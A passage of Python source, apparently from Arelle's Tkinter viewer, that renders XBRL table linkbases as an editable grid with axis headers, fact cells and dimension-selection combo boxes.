super(ViewRenderedGrid, self).__init__(modelXbrl, tabWin, _("Table"),
False, lang, self.onQuitView)
self.newFactItemOptions = ModelInstanceObject.NewFactItemOptions(xbrlInstance=modelXbrl)
self.factPrototypes = []
self.aspectEntryObjectIdsNode = {}
self.aspectEntryObjectIdsCell = {}
self.factPrototypeAspectEntryObjectIds = defaultdict(set)
self.zOrdinateChoices = None
# context menu Boolean vars
self.options = self.modelXbrl.modelManager.cntlr.config.setdefault("viewRenderedGridOptions", {})
self.openBreakdownLines = self.options.setdefault("openBreakdownLines", 5) # ensure there is a default entry
self.ignoreDimValidity = BooleanVar(value=self.options.setdefault("ignoreDimValidity",True))
self.xAxisChildrenFirst = BooleanVar(value=self.options.setdefault("xAxisChildrenFirst",True))
self.yAxisChildrenFirst = BooleanVar(value=self.options.setdefault("yAxisChildrenFirst",False))
formulaEvaluatorInit() # one-time module initialization
def close(self):
super(ViewRenderedGrid, self).close()
if self.modelXbrl:
for fp in self.factPrototypes:
fp.clear()
self.factPrototypes = None
self.aspectEntryObjectIdsNode.clear()
self.aspectEntryObjectIdsCell.clear()
self.rendrCntx = None # remove the reference but do not manipulate since it may still be in use and shared
def loadTablesMenu(self):
tblMenuEntries = {}
tblRelSet = self.modelXbrl.relationshipSet("Table-rendering")
self.tablesToELR = {}
for tblLinkroleUri in tblRelSet.linkRoleUris:
for tableAxisArcrole in getTableAxisArcroles():
tblAxisRelSet = self.modelXbrl.relationshipSet(tableAxisArcrole, tblLinkroleUri)
if tblAxisRelSet and len(tblAxisRelSet.modelRelationships) > 0:
# table name
modelRoleTypes = self.modelXbrl.roleTypes.get(tblLinkroleUri)
if modelRoleTypes is not None and len(modelRoleTypes) > 0:
roledefinition = modelRoleTypes[0].definition
if roledefinition is None or roledefinition == "":
roledefinition = os.path.basename(tblLinkroleUri)
for table in tblAxisRelSet.rootConcepts:
# add table to menu if there's any entry
tblMenuEntries[roledefinition] = tblLinkroleUri
self.tablesToELR[table.objectId()] = tblLinkroleUri
break
self.tablesMenu.delete(0, self.tablesMenuLength)
self.tablesMenuLength = 0
self.tblELR = None
for tblMenuEntry in sorted(tblMenuEntries.items()):
tbl,elr = tblMenuEntry
self.tablesMenu.add_command(label=tbl, command=lambda e=elr: self.view(viewTblELR=e)) # use this to activate profiling from menu selection: , profile=True))
self.tablesMenuLength += 1
if self.tblELR is None:
self.tblELR = elr # start viewing first ELR
def viewReloadDueToMenuAction(self, *args):
if not self.blockMenuEvents:
# update config (config saved when exiting)
self.options["ignoreDimValidity"] = self.ignoreDimValidity.get()
self.options["xAxisChildrenFirst"] = self.xAxisChildrenFirst.get()
self.options["yAxisChildrenFirst"] = self.yAxisChildrenFirst.get()
self.view()
def setOpenBreakdownEntryRows(self, *args):
import tkinter.simpledialog
newValue = tkinter.simpledialog.askinteger(_("arelle - Open breakdown entry rows setting"),
_("The number of extra entry rows for open breakdowns is: {0} \n\n"
"(When a row header includes an open breakdown, such as \nfor typed dimension(s), this number of extra entry rows \nare provided below the table.)"
).format(self.options["openBreakdownLines"]),
parent=self.tabWin)
if newValue is not None:
self.options["openBreakdownLines"] = self.openBreakdownLines = newValue
self.viewReloadDueToMenuAction()
def view(self, viewTblELR=None, newInstance=None, profile=False):
'''
if profile: # for debugging only, to use, uncomment in loadTablesMenu
import cProfile, pstats, sys
statsFile = "/Users/hermf/temp/profileRendering.bin"
cProfile.runctx("self.view(viewTblELR=viewTblELR)", globals(), locals(), statsFile)
priorStdOut = sys.stdout
sys.stdout = open("/Users/hermf/temp/profileRendering.txt", "w")
statObj = pstats.Stats(statsFile)
statObj.strip_dirs()
statObj.sort_stats("time")
statObj.print_stats()
statObj.print_callees()
statObj.print_callers()
sys.stdout.flush()
sys.stdout.close()
del statObj
sys.stdout = priorStdOut
os.remove(statsFile)
return
'''
startedAt = time.time()
self.blockMenuEvents += 1
if newInstance is not None:
self.modelXbrl = newInstance # a save operation has created a new instance to use subsequently
clearZchoices = False
if viewTblELR: # specific table selection
self.tblELR = viewTblELR
clearZchoices = True
else: # first or subsequenct reloading (language, dimensions, other change)
clearZchoices = self.zOrdinateChoices is None
if clearZchoices: # also need first time initialization
self.loadTablesMenu() # load menus (and initialize if first time
viewTblELR = self.tblELR
if not self.tblELR:
return # no table to display
if clearZchoices:
self.zOrdinateChoices = {}
# remove old widgets
self.viewFrame.clearGrid()
tblAxisRelSet, xTopStructuralNode, yTopStructuralNode, zTopStructuralNode = resolveAxesStructure(self, viewTblELR)
colAdjustment = 1 if zTopStructuralNode is not None else 0
self.table.resizeTable(self.dataFirstRow+self.dataRows-1, self.dataFirstCol+self.dataCols+colAdjustment-1, titleRows=self.dataFirstRow-1, titleColumns=self.dataFirstCol-1)
self.hasTableFilters = bool(self.modelTable.filterRelationships)
if tblAxisRelSet:
# review row header wrap widths and limit to 2/3 of the frame width (all are screen units)
fontWidth = tkFont.Font(font='TkTextFont').configure()['size']
fontWidth = fontWidth * 3 // 2
dataColsAllowanceWidth = (fontWidth * ENTRY_WIDTH_IN_CHARS + PADDING) * self.dataCols + PADDING
frameWidth = self.viewFrame.winfo_width()
if dataColsAllowanceWidth + self.rowHdrWrapLength > frameWidth:
if dataColsAllowanceWidth > frameWidth / 2:
rowHdrAllowanceWidth = frameWidth / 2
else:
rowHdrAllowanceWidth = frameWidth - dataColsAllowanceWidth
if self.rowHdrWrapLength > rowHdrAllowanceWidth:
widthRatio = rowHdrAllowanceWidth / self.rowHdrWrapLength
self.rowHdrWrapLength = rowHdrAllowanceWidth
fixedWidth = sum(w for w in self.rowHdrColWidth if w <= RENDER_UNITS_PER_CHAR)
adjustableWidth = sum(w for w in self.rowHdrColWidth if w > RENDER_UNITS_PER_CHAR)
if adjustableWidth> 0:
widthRatio = (rowHdrAllowanceWidth - fixedWidth) / adjustableWidth
for i in range(len(self.rowHdrColWidth)):
w = self.rowHdrColWidth[i]
if w > RENDER_UNITS_PER_CHAR:
self.rowHdrColWidth[i] = int(w * widthRatio)
self.aspectEntryObjectIdsNode.clear()
self.aspectEntryObjectIdsCell.clear()
self.factPrototypeAspectEntryObjectIds.clear()
self.table.initHeaderCellValue((self.modelTable.genLabel(lang=self.lang, strip=True) or # use table label, if any
self.roledefinition),
0, 0, (self.dataFirstCol - 2),
(self.dataFirstRow - 2),
XbrlTable.TG_TOP_LEFT_JUSTIFIED)
self.zAspectStructuralNodes = defaultdict(set)
self.zAxis(1, zTopStructuralNode, clearZchoices)
xStructuralNodes = []
colsFoundPlus1, _, _, _ = self.xAxis(self.dataFirstCol, self.colHdrTopRow, self.colHdrTopRow + self.colHdrRows - 1,
xTopStructuralNode, xStructuralNodes, self.xAxisChildrenFirst.get(), True, True)
_, rowsFoundPlus1 = self.yAxis(1, self.dataFirstRow,
yTopStructuralNode, self.yAxisChildrenFirst.get(), True, True)
self.table.resizeTable(rowsFoundPlus1-1,
colsFoundPlus1+colAdjustment-1,
clearData=False)
for fp in self.factPrototypes: # dereference prior facts
if fp is not None:
fp.clear()
self.factPrototypes = []
self.bodyCells(self.dataFirstRow, yTopStructuralNode, xStructuralNodes, self.zAspectStructuralNodes, self.yAxisChildrenFirst.get())
self.table.clearModificationStatus()
self.table.disableUnusedCells()
self.table.resizeTableCells()
# data cells
#print("body cells done")
self.modelXbrl.profileStat("viewTable_" + os.path.basename(viewTblELR), time.time() - startedAt)
#self.gridView.config(scrollregion=self.gridView.bbox(constants.ALL))
self.blockMenuEvents -= 1
def zAxis(self, row, zStructuralNode, clearZchoices):
if zStructuralNode is not None:
label = zStructuralNode.header(lang=self.lang)
xValue = self.dataFirstCol-1
yValue = row-1
self.table.initHeaderCellValue(label,
xValue, yValue,
0, 0,
XbrlTable.TG_LEFT_JUSTIFIED,
objectId=zStructuralNode.objectId())
if zStructuralNode.choiceStructuralNodes is not None: # combo box
valueHeaders = [''.ljust(zChoiceStructuralNode.indent * 4) + # indent if nested choices
(zChoiceStructuralNode.header(lang=self.lang) or '')
for zChoiceStructuralNode in zStructuralNode.choiceStructuralNodes]
zAxisIsOpenExplicitDimension = False
zAxisTypedDimension = None
i = zStructuralNode.choiceNodeIndex # for aspect entry, use header selected
comboBoxValue = None if i >= 0 else zStructuralNode.aspects.get('aspectValueLabel')
chosenStructuralNode = zStructuralNode.choiceStructuralNodes[i]
aspect = None
for aspect in chosenStructuralNode.aspectsCovered():
if aspect != Aspect.DIMENSIONS:
break
# for open filter nodes of explicit dimension allow selection of all values
zAxisAspectEntryMode = False
if isinstance(chosenStructuralNode.definitionNode, ModelFilterDefinitionNode):
if isinstance(aspect, QName):
dimConcept = self.modelXbrl.qnameConcepts[aspect]
if dimConcept.isExplicitDimension:
if len(valueHeaders) != 1 or valueHeaders[0]: # not just a blank initial entry
valueHeaders.append("(all members)")
else:
valueHeaders.extend(
self.explicitDimensionFilterMembers(zStructuralNode, chosenStructuralNode))
zAxisAspectEntryMode = True
zAxisIsOpenExplicitDimension = True
elif dimConcept.isTypedDimension:
if (zStructuralNode.choiceStructuralNodes[0].contextItemBinding is None and
not valueHeaders[0]): # remove filterNode from the list
''' this isn't reliable
if i > 0:
del zStructuralNode.choiceStructuralNodes[0]
del valueHeaders[0]
zStructuralNode.choiceNodeIndex = i = i-1
'''
if i >= 0:
chosenStructuralNode = zStructuralNode.choiceStructuralNodes[i]
else:
chosenStructuralNode = zStructuralNode # use aspects of structural node (for entered typed value)
if not comboBoxValue and not valueHeaders:
comboBoxValue = "--please select--"
i = -1
valueHeaders.append("(enter typed member)")
zAxisTypedDimension = dimConcept
combobox = self.table.initHeaderCombobox(self.dataFirstCol,
row-1,
colspan=0,
values=valueHeaders,
value=comboBoxValue,
selectindex=zStructuralNode.choiceNodeIndex if i >= 0 else None,
comboboxselected=self.onZComboBoxSelected)
combobox.zStructuralNode = zStructuralNode
combobox.zAxisIsOpenExplicitDimension = zAxisIsOpenExplicitDimension
combobox.zAxisTypedDimension = zAxisTypedDimension
combobox.zAxisAspectEntryMode = zAxisAspectEntryMode
combobox.zAxisAspect = aspect
combobox.zChoiceOrdIndex = row - 1
combobox.objectId = zStructuralNode.objectId()
# add aspect for chosen node
self.setZStructuralNodeAspects(chosenStructuralNode)
else:
#process aspect on this node before child nodes in case it is overridden
self.setZStructuralNodeAspects(zStructuralNode)
# nested nodes override parent nodes
for zStructuralNode in zStructuralNode.childStructuralNodes:
self.zAxis(row + 1, zStructuralNode, clearZchoices)
def setZStructuralNodeAspects(self, zStructuralNode, add=True):
for aspect in aspectModels[self.aspectModel]:
if (aspect in zStructuralNode.aspects or # might be added as custom-entered value (typed dim)
zStructuralNode.hasAspect(aspect, inherit=True)): #implies inheriting from other z axes
if aspect == Aspect.DIMENSIONS:
for dim in (zStructuralNode.aspectValue(Aspect.DIMENSIONS, inherit=True) or emptyList):
if add:
self.zAspectStructuralNodes[dim].add(zStructuralNode)
else:
self.zAspectStructuralNodes[dim].discard(zStructuralNode)
else:
if add:
self.zAspectStructuralNodes[aspect].add(zStructuralNode)
else:
self.zAspectStructuralNodes[aspect].discard(zStructuralNode)
def onZComboBoxSelected(self, event):
combobox = event.widget
structuralNode = combobox.zStructuralNode
if combobox.zAxisAspectEntryMode:
aspectValue = structuralNode.aspectEntryHeaderValues.get(combobox.get())
if aspectValue is not None:
self.zOrdinateChoices[structuralNode.definitionNode] = \
structuralNode.aspects = {combobox.zAxisAspect: aspectValue, 'aspectValueLabel': combobox.get()}
self.view() # redraw grid
elif combobox.zAxisIsOpenExplicitDimension and combobox.get() == "(all members)":
# reload combo box
self.comboboxLoadExplicitDimension(combobox,
structuralNode, # owner of combobox
structuralNode.choiceStructuralNodes[structuralNode.choiceNodeIndex]) # aspect filter node
structuralNode.choiceNodeIndex = -1 # use entry aspect value
combobox.zAxisAspectEntryMode = True
elif combobox.zAxisTypedDimension is not None and combobox.get() == "(enter typed member)":
# ask typed member entry
import tkinter.simpledialog
result = tkinter.simpledialog.askstring(_("Enter new typed dimension value"),
combobox.zAxisTypedDimension.label(),
parent=self.tabWin)
if result:
structuralNode.choiceNodeIndex = -1 # use entry aspect value
aspectValue = FunctionXfi.create_element(self.rendrCntx,
None,
(combobox.zAxisTypedDimension.typedDomainElement.qname, (), result))
self.zOrdinateChoices[structuralNode.definitionNode] = \
structuralNode.aspects = {combobox.zAxisAspect: aspectValue,
Aspect.DIMENSIONS: {combobox.zAxisTypedDimension.qname},
'aspectValueLabel': result}
if not hasattr(structuralNode, "aspectEntryHeaderValues"): structuralNode.aspectEntryHeaderValues = {}
structuralNode.aspectEntryHeaderValues[result] = aspectValue
valueHeaders = list(combobox["values"])
if result not in valueHeaders: valueHeaders.insert(0, result)
combobox["values"] = valueHeaders
combobox.zAxisAspectEntryMode = True
self.view() # redraw grid
else:
# remove prior combo choice aspect
self.setZStructuralNodeAspects(structuralNode.choiceStructuralNodes[structuralNode.choiceNodeIndex], add=False)
i = combobox.valueIndex
self.zOrdinateChoices[combobox.zStructuralNode.definitionNode] = structuralNode.choiceNodeIndex = i
# set current combo choice aspect
self.setZStructuralNodeAspects(structuralNode.choiceStructuralNodes[i])
self.view() # redraw grid
def xAxis(self, leftCol, topRow, rowBelow, xParentStructuralNode, xStructuralNodes, childrenFirst, renderNow, atTop):
if xParentStructuralNode is not None:
parentRow = rowBelow
noDescendants = True
rightCol = leftCol
widthToSpanParent = 0
for xStructuralNode in xParentStructuralNode.childStructuralNodes:
if not xStructuralNode.isRollUp:
noDescendants = False
isLabeled = xStructuralNode.isLabeled
isAbstract = (xStructuralNode.isAbstract or
(xStructuralNode.childStructuralNodes and
not isinstance(xStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord))))
isNonAbstract = not isAbstract
rightCol, row, width, leafNode = self.xAxis(leftCol, topRow + isLabeled, rowBelow, xStructuralNode, xStructuralNodes, # nested items before totals
childrenFirst, childrenFirst, False)
if row - 1 < parentRow:
parentRow = row - 1
#if not leafNode:
# rightCol -= 1
if isNonAbstract and isLabeled:
width += ENTRY_WIDTH_SCREEN_UNITS # width for this label, in screen units
widthToSpanParent += width
if childrenFirst:
thisCol = rightCol
else:
thisCol = leftCol
if renderNow and isLabeled:
columnspan = (rightCol - leftCol + (1 if isNonAbstract else 0))
label = xStructuralNode.header(lang=self.lang,
returnGenLabel=isinstance(xStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord)))
if label != OPEN_ASPECT_ENTRY_SURROGATE:
xValue = leftCol-1
yValue = topRow-1
headerLabel = label if label else " "
self.table.initHeaderCellValue(headerLabel,
xValue, yValue,
columnspan-1,
((row - topRow) if leafNode else 0),
XbrlTable.TG_CENTERED,
objectId=xStructuralNode.objectId(),
isRollUp=columnspan>1 and isNonAbstract and len(xStructuralNode.childStructuralNodes)<columnspan)
else:
self.aspectEntryObjectIdsNode[xStructuralNode.aspectEntryObjectId] = xStructuralNode
self.aspectEntryObjectIdsCell[xStructuralNode.aspectEntryObjectId] = self.table.initHeaderCombobox(leftCol-1,
topRow-1,
values=self.aspectEntryValues(xStructuralNode),
objectId=xStructuralNode.aspectEntryObjectId,
comboboxselected=self.onAspectComboboxSelection)
if isNonAbstract:
xValue = thisCol - 1
for i, role in enumerate(self.colHdrNonStdRoles):
j = (self.dataFirstRow
- len(self.colHdrNonStdRoles) + i)-1
self.table.initHeaderCellValue(xStructuralNode.header(role=role, lang=self.lang),
xValue,
j,
0,
0,
XbrlTable.TG_CENTERED,
objectId=xStructuralNode.objectId())
xStructuralNodes.append(xStructuralNode)
if isNonAbstract:
rightCol += 1
if renderNow and not childrenFirst:
self.xAxis(leftCol + (1 if isNonAbstract else 0), topRow + isLabeled, rowBelow, xStructuralNode, xStructuralNodes, childrenFirst, True, False) # render on this pass
leftCol = rightCol
return (rightCol, parentRow, widthToSpanParent, noDescendants)
def yAxis(self, leftCol, row, yParentStructuralNode, childrenFirst, renderNow, atLeft):
if yParentStructuralNode is not None:
nestedBottomRow = row
for yStructuralNode in yParentStructuralNode.childStructuralNodes:
if not yStructuralNode.isRollUp:
isAbstract = (yStructuralNode.isAbstract or
(yStructuralNode.childStructuralNodes and
not isinstance(yStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord))))
isNonAbstract = not isAbstract
isLabeled = yStructuralNode.isLabeled
nestRow, nextRow = self.yAxis(leftCol + isLabeled, row, yStructuralNode, # nested items before totals
childrenFirst, childrenFirst, False)
topRow = row
if childrenFirst and isNonAbstract:
row = nextRow
if renderNow and isLabeled:
columnspan = self.rowHdrCols - leftCol + 1 if isNonAbstract or nextRow == row else 1
depth = yStructuralNode.depth
wraplength = (self.rowHdrColWidth[depth] if isAbstract else
self.rowHdrWrapLength - sum(self.rowHdrColWidth[0:depth]))
if wraplength < 0:
wraplength = self.rowHdrColWidth[depth]
label = yStructuralNode.header(lang=self.lang,
returnGenLabel=isinstance(yStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord)),
recurseParent=not isinstance(yStructuralNode.definitionNode, ModelFilterDefinitionNode))
if label != OPEN_ASPECT_ENTRY_SURROGATE:
xValue = leftCol-1
yValue = row-1
self.table.initHeaderCellValue(label if label is not None else " ",
xValue, yValue,
columnspan-1,
(nestRow - row if isAbstract else 1)-1,
(XbrlTable.TG_LEFT_JUSTIFIED
if isNonAbstract or nestRow == row
else XbrlTable.TG_CENTERED),
objectId=yStructuralNode.objectId(),
isRollUp=columnspan>1 and isNonAbstract and (len(yStructuralNode.childStructuralNodes)>1 or (len(yStructuralNode.childStructuralNodes)==1 and not(yStructuralNode.childStructuralNodes[0].isAbstract))))
else:
self.aspectEntryObjectIdsNode[yStructuralNode.aspectEntryObjectId] = yStructuralNode
self.aspectEntryObjectIdsCell[yStructuralNode.aspectEntryObjectId] = self.table.initHeaderCombobox(leftCol-1,
row-1,
values=self.aspectEntryValues(yStructuralNode),
objectId=yStructuralNode.aspectEntryObjectId,
comboboxselected=self.onAspectComboboxSelection)
if isNonAbstract:
for i, role in enumerate(self.rowHdrNonStdRoles):
isCode = "code" in role
docCol = self.dataFirstCol - len(self.rowHdrNonStdRoles) + i-1
yValue = row-1
self.table.initHeaderCellValue(yStructuralNode.header(role=role, lang=self.lang),
docCol, yValue,
0, 0,
XbrlTable.TG_CENTERED if isCode else XbrlTable.TG_RIGHT_JUSTIFIED,
objectId=yStructuralNode.objectId())
if isNonAbstract:
row += 1
elif childrenFirst:
row = nextRow
if nestRow > nestedBottomRow:
nestedBottomRow = nestRow + (isNonAbstract and not childrenFirst)
if row > nestedBottomRow:
nestedBottomRow = row
#if renderNow and not childrenFirst:
# dummy, row = self.yAxis(leftCol + 1, row, yStructuralNode, childrenFirst, True, False) # render on this pass
if not childrenFirst:
dummy, row = self.yAxis(leftCol + isLabeled, row, yStructuralNode, childrenFirst, renderNow, False) # render on this pass
return (nestedBottomRow, row)
def getbackgroundColor(self, factPrototype):
bgColor = XbrlTable.TG_BG_DEFAULT # default monetary
concept = factPrototype.concept
if concept == None:
return bgColor
isNumeric = concept.isNumeric
# isMonetary = concept.isMonetary
isInteger = concept.baseXbrliType in integerItemTypes
isPercent = concept.typeQname in (qnPercentItemType, qnPureItemType)
isString = concept.baseXbrliType in ("stringItemType", "normalizedStringItemType")
isDate = concept.baseXbrliType in ("dateTimeItemType", "dateItemType")
if isNumeric:
if concept.isShares or isInteger:
bgColor = XbrlTable.TG_BG_ORANGE
elif isPercent:
bgColor = XbrlTable.TG_BG_YELLOW
# else assume isMonetary
elif isDate:
bgColor = XbrlTable.TG_BG_GREEN
elif isString:
bgColor = XbrlTable.TG_BG_VIOLET
return bgColor;
def bodyCells(self, row, yParentStructuralNode, xStructuralNodes, zAspectStructuralNodes, yChildrenFirst):
if yParentStructuralNode is not None:
dimDefaults = self.modelXbrl.qnameDimensionDefaults
for yStructuralNode in yParentStructuralNode.childStructuralNodes:
if yChildrenFirst:
row = self.bodyCells(row, yStructuralNode, xStructuralNodes, zAspectStructuralNodes, yChildrenFirst)
if not (yStructuralNode.isAbstract or
(yStructuralNode.childStructuralNodes and
not isinstance(yStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord)))) and yStructuralNode.isLabeled:
isYEntryPrototype = yStructuralNode.isEntryPrototype(default=False) # row to enter open aspects
yAspectStructuralNodes = defaultdict(set)
for aspect in aspectModels[self.aspectModel]:
if yStructuralNode.hasAspect(aspect):
if aspect == Aspect.DIMENSIONS:
for dim in (yStructuralNode.aspectValue(Aspect.DIMENSIONS) or emptyList):
yAspectStructuralNodes[dim].add(yStructuralNode)
else:
yAspectStructuralNodes[aspect].add(yStructuralNode)
yTagSelectors = yStructuralNode.tagSelectors
# data for columns of row
#print ("row " + str(row) + "yNode " + yStructuralNode.definitionNode.objectId() )
ignoreDimValidity = self.ignoreDimValidity.get()
for i, xStructuralNode in enumerate(xStructuralNodes):
isEntryPrototype = isYEntryPrototype or xStructuralNode.isEntryPrototype(default=False)
xAspectStructuralNodes = defaultdict(set)
for aspect in aspectModels[self.aspectModel]:
if xStructuralNode.hasAspect(aspect):
if aspect == Aspect.DIMENSIONS:
for dim in (xStructuralNode.aspectValue(Aspect.DIMENSIONS) or emptyList):
xAspectStructuralNodes[dim].add(xStructuralNode)
else:
xAspectStructuralNodes[aspect].add(xStructuralNode)
cellTagSelectors = yTagSelectors | xStructuralNode.tagSelectors
cellAspectValues = {}
matchableAspects = set()
for aspect in _DICT_SET(xAspectStructuralNodes.keys()) | _DICT_SET(yAspectStructuralNodes.keys()) | _DICT_SET(zAspectStructuralNodes.keys()):
aspectValue = xStructuralNode.inheritedAspectValue(yStructuralNode,
self, aspect, cellTagSelectors,
xAspectStructuralNodes, yAspectStructuralNodes, zAspectStructuralNodes)
# value is None for a dimension whose value is to be not reported in this slice
if (isinstance(aspect, _INT) or # not a dimension
dimDefaults.get(aspect) != aspectValue or # explicit dim defaulted will equal the value
aspectValue is not None): # typed dim absent will be none
cellAspectValues[aspect] = aspectValue
matchableAspects.add(aspectModelAspect.get(aspect,aspect)) #filterable aspect from rule aspect
cellDefaultedDims = _DICT_SET(dimDefaults) - _DICT_SET(cellAspectValues.keys())
priItemQname = cellAspectValues.get(Aspect.CONCEPT)
concept = self.modelXbrl.qnameConcepts.get(priItemQname)
conceptNotAbstract = concept is None or not concept.isAbstract
value = None
objectId = None
justify = None
fp = FactPrototype(self, cellAspectValues)
if conceptNotAbstract:
# reduce set of matchable facts to those with pri item qname and have dimension aspects
facts = self.modelXbrl.factsByQname[priItemQname] if priItemQname else self.modelXbrl.factsInInstance
if self.hasTableFilters:
facts = self.modelTable.filterFacts(self.rendrCntx, facts)
for aspect in matchableAspects: # trim down facts with explicit dimensions match or just present
if isinstance(aspect, QName):
aspectValue = cellAspectValues.get(aspect, None)
if isinstance(aspectValue, ModelDimensionValue):
if aspectValue.isExplicit:
dimMemQname = aspectValue.memberQname # match facts with this explicit value
else:
dimMemQname = None # match facts that report this dimension
elif isinstance(aspectValue, QName):
dimMemQname = aspectValue # match facts that have this explicit value
elif aspectValue is None: # match typed dims that don't report this value
dimMemQname = ModelXbrl.DEFAULT
else:
dimMemQname = None # match facts that report this dimension
facts = facts & self.modelXbrl.factsByDimMemQname(aspect, dimMemQname)
if len(facts)==0:
break;
for fact in facts:
if (all(aspectMatches(self.rendrCntx, fact, fp, aspect)
for aspect in matchableAspects) and
all(fact.context.dimMemberQname(dim,includeDefaults=True) in (dimDefaults[dim], None)
for dim in cellDefaultedDims) and
len(fp.context.qnameDims) == len(fact.context.qnameDims)):
if yStructuralNode.hasValueExpression(xStructuralNode):
value = yStructuralNode.evalValueExpression(fact, xStructuralNode)
else:
value = fact.effectiveValue
objectId = fact.objectId()
justify = XbrlTable.TG_RIGHT_JUSTIFIED if fact.isNumeric else XbrlTable.TG_LEFT_JUSTIFIED
break
if (conceptNotAbstract and
(value is not None or ignoreDimValidity or isFactDimensionallyValid(self, fp) or
isEntryPrototype)):
if objectId is None:
objectId = "f{0}".format(len(self.factPrototypes))
self.factPrototypes.append(fp) # for property views
for aspect, aspectValue in cellAspectValues.items():
if isinstance(aspectValue, str) and aspectValue.startswith(OPEN_ASPECT_ENTRY_SURROGATE):
self.factPrototypeAspectEntryObjectIds[objectId].add(aspectValue)
modelConcept = fp.concept
if (justify is None) and modelConcept is not None:
justify = XbrlTable.TG_RIGHT_JUSTIFIED if modelConcept.isNumeric else XbrlTable.TG_LEFT_JUSTIFIED
if modelConcept is not None and modelConcept.isEnumeration:
myValidationObject = ValidateXbrl(self.modelXbrl)
myValidationObject.modelXbrl = self.modelXbrl
enumerationSet = ValidateXbrlDimensions.usableEnumerationMembers(myValidationObject, modelConcept)
enumerationDict = dict()
for enumerationItem in enumerationSet:
# we need to specify the concept linkrole to sort out between possibly many different labels
enumerationDict[enumerationItem.label(linkrole=modelConcept.enumLinkrole)] = enumerationItem.qname
enumerationValues = sorted(list(enumerationDict.keys()))
enumerationQNameStrings = [""]+list(str(enumerationDict[enumerationItem]) for enumerationItem in enumerationValues)
enumerationValues = [""]+enumerationValues
try:
selectedIdx = enumerationQNameStrings.index(value)
effectiveValue = enumerationValues[selectedIdx]
except ValueError:
effectiveValue = enumerationValues[0]
selectedIdx = 0
xValue = self.dataFirstCol + i-1
yValue = row-1
self.table.initCellCombobox(effectiveValue,
enumerationValues,
xValue,
yValue,
objectId=objectId,
selectindex=selectedIdx,
codes=enumerationDict)
elif modelConcept is not None and modelConcept.type.qname == XbrlConst.qnXbrliQNameItemType:
if eurofilingModelPrefix in concept.nsmap and concept.nsmap.get(eurofilingModelPrefix) == eurofilingModelNamespace:
hierarchy = concept.get("{" + eurofilingModelNamespace + "}" + "hierarchy", None)
domainQNameAsString = concept.get("{" + eurofilingModelNamespace + "}" + "domain", None)
if hierarchy is not None and domainQNameAsString is not None:
newAspectValues = [""]
newAspectQNames = dict()
newAspectQNames[""] = None
domPrefix, _, domLocalName = domainQNameAsString.strip().rpartition(":")
domNamespace = concept.nsmap.get(domPrefix)
relationships = concept_relationships(self.rendrCntx,
None,
(QName(domPrefix, domNamespace, domLocalName),
hierarchy, # linkrole,
"XBRL-dimensions",
'descendant'),
False) # return flat list
for rel in relationships:
if (rel.arcrole in (XbrlConst.dimensionDomain, XbrlConst.domainMember)
and rel.isUsable):
header = rel.toModelObject.label(lang=self.lang)
newAspectValues.append(header)
currentQName = rel.toModelObject.qname
if str(currentQName) == value:
value = header
newAspectQNames[header] = currentQName
else:
newAspectValues = None
else:
newAspectValues = None
if newAspectValues is None:
xValue = self.dataFirstCol + i-1
yValue = row-1
self.table.initCellValue(value,
xValue,
yValue,
justification=justify,
objectId=objectId,
backgroundColourTag=self.getbackgroundColor(fp))
else:
qNameValues = newAspectValues
try:
selectedIdx = qNameValues.index(value)
effectiveValue = value
except ValueError:
effectiveValue = qNameValues[0]
selectedIdx = 0
xValue = self.dataFirstCol + i-1
yValue = row-1
self.table.initCellCombobox(effectiveValue,
qNameValues,
xValue,
yValue,
objectId=objectId,
selectindex=selectedIdx,
codes=newAspectQNames)
elif modelConcept is not None and modelConcept.type.qname == XbrlConst.qnXbrliBooleanItemType:
booleanValues = ["",
XbrlConst.booleanValueTrue,
XbrlConst.booleanValueFalse]
try:
selectedIdx = booleanValues.index(value)
effectiveValue = value
except ValueError:
effectiveValue = booleanValues[0]
selectedIdx = 0
xValue = self.dataFirstCol + i-1
yValue = row-1
self.table.initCellCombobox(effectiveValue,
booleanValues,
xValue,
yValue,
objectId=objectId,
selectindex=selectedIdx)
else:
xValue = self.dataFirstCol + i-1
yValue = row-1
self.table.initCellValue(value,
xValue,
yValue,
justification=justify,
objectId=objectId,
backgroundColourTag=self.getbackgroundColor(fp))
else:
fp.clear() # dereference
row += 1
if not yChildrenFirst:
row = self.bodyCells(row, yStructuralNode, xStructuralNodes, zAspectStructuralNodes, yChildrenFirst)
return row
def onClick(self, event):
try:
objId = event.widget.objectId
if objId and objId[0] == "f":
viewableObject = self.factPrototypes[int(objId[1:])]
else:
viewableObject = objId
self.modelXbrl.viewModelObject(viewableObject)
except AttributeError: # not clickable
pass
self.modelXbrl.modelManager.cntlr.currentView = self
def cellEnter(self, *args):
# triggered on grid frame enter (not cell enter)
self.blockSelectEvent = 0
self.modelXbrl.modelManager.cntlr.currentView = self
def cellLeave(self, *args):
# triggered on grid frame leave (not cell leave)
self.blockSelectEvent = 1
# this method is not currently used
def cellSelect(self, *args):
if self.blockSelectEvent == 0 and self.blockViewModelObject == 0:
self.blockViewModelObject += 1
#self.modelXbrl.viewModelObject(self.nodeToObjectId[self.treeView.selection()[0]])
#self.modelXbrl.viewModelObject(self.treeView.selection()[0])
self.blockViewModelObject -= 1
def viewModelObject(self, modelObject):
if self.blockViewModelObject == 0:
self.blockViewModelObject += 1
try:
if isinstance(modelObject, ModelDtsObject.ModelRelationship):
objectId = modelObject.toModelObject.objectId()
else:
objectId = modelObject.objectId()
if objectId in self.tablesToELR:
self.view(viewTblELR=self.tablesToELR[objectId])
try:
self.modelXbrl.modelManager.cntlr.currentView = self.modelXbrl.guiViews.tableView
# force focus (synch) on the corresponding "Table" tab (useful in case of several instances)
self.modelXbrl.guiViews.tableView.tabWin.select(str(self.modelXbrl.guiViews.tableView.viewFrame))
except:
pass
except (KeyError, AttributeError):
pass
self.blockViewModelObject -= 1
def onConfigure(self, event, *args):
if not self.blockMenuEvents:
lastFrameWidth = getattr(self, "lastFrameWidth", 0)
lastFrameHeight = getattr(self, "lastFrameHeight", 0)
frameWidth = self.tabWin.winfo_width()
frameHeight = self.tabWin.winfo_height()
if lastFrameWidth != frameWidth or lastFrameHeight != frameHeight:
self.updateInstanceFromFactPrototypes()
self.lastFrameWidth = frameWidth
self.lastFrameHeight = frameHeight
self.setHeightAndWidth()
